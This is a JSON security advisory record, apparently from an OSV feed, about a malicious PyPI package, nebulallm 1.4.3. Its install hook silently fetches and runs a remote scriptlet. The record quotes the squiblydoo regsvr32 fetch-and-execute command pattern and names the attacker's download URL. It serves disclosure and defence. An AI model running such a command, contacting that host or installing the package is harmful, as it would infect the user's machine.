{"id":"MAL-2026-18297","title":"Malicious code in nebulallm (PyPI)","summary":"Malicious code in nebulallm (PyPI)","severity":"critical","exploited":true,"vendor":"nebulallm","product":"nebulallm","ecosystem":"pip","affected":["nebulallm"],"published":"2026-10-25","updated":"2026-10-26","sourceUpdated":"2026-10-26T06:45:16.083182784Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/MAL-2026-18297","references":[{"url":"https://www.virustotal.com/gui/file/ccdd8b191818222bfbbe20816d7448b0f42745924e122849b2e06c3511a76c7d/detection"},{"url":"https://tria.ge/261025-yy5yvshy4v"},{"url":"https://bad-packages.kam193.eu/pypi/package/nebulallm"},{"url":"https://pypi.org/project/nebulallm/1.4.3/"}],"tags":["osv","pip","malware"],"ingestedAt":"2026-10-26T12:01:30.294Z","slug":"MAL-2026-18297","body":"## Overview\n\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5428d0f2f07674817697574b1993211dfa902bad746d8cd6efc1ad6b1fbbfd90)\nnebulallm 1.4.3 presents itself as an AI API client stub but ships a custom install command class in setup.py that executes on `pip install`. The install hook spawns regsvr32.exe with the squiblydoo LOLBin pattern (`regsvr32 -s -i:<url> scrobj.dll`) to fetch and execute a remote COM scriptlet from https://akinomoreno.pythonanywhere.com/faye on the installer's Windows host. The subprocess is launched with DETACHED_PROCESS and stdin/stdout/stderr redirected to DEVNULL, so the dropper runs silently and produces no output during pip install. The declared package functionality is unrelated to the install-time behavior, consistent with a dropper staged behind a cover-story package.\n\n## Source: kam193 (50e0ed125f08fd7743ccfb40590c24304b4731f6a99b69bc553b5bb8b7e57fc6)\nDuring installation package first downloads a JScript script, which then downloads the next malicious DLL.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-nebulallm\n\n\nReasons (based on the campaign):\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n\n\n - Downloads and executes a remote executable.\n\n\n - Downloads and executes a remote malicious script.\n\n\n - malware\n\n\n## Affected packages\n\n- `nebulallm`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"abyssal","depthScore":70,"depthScoreParts":{"impact":52.3,"likelihood":0,"exploitation":18,"ransomware":0},"changes":[]}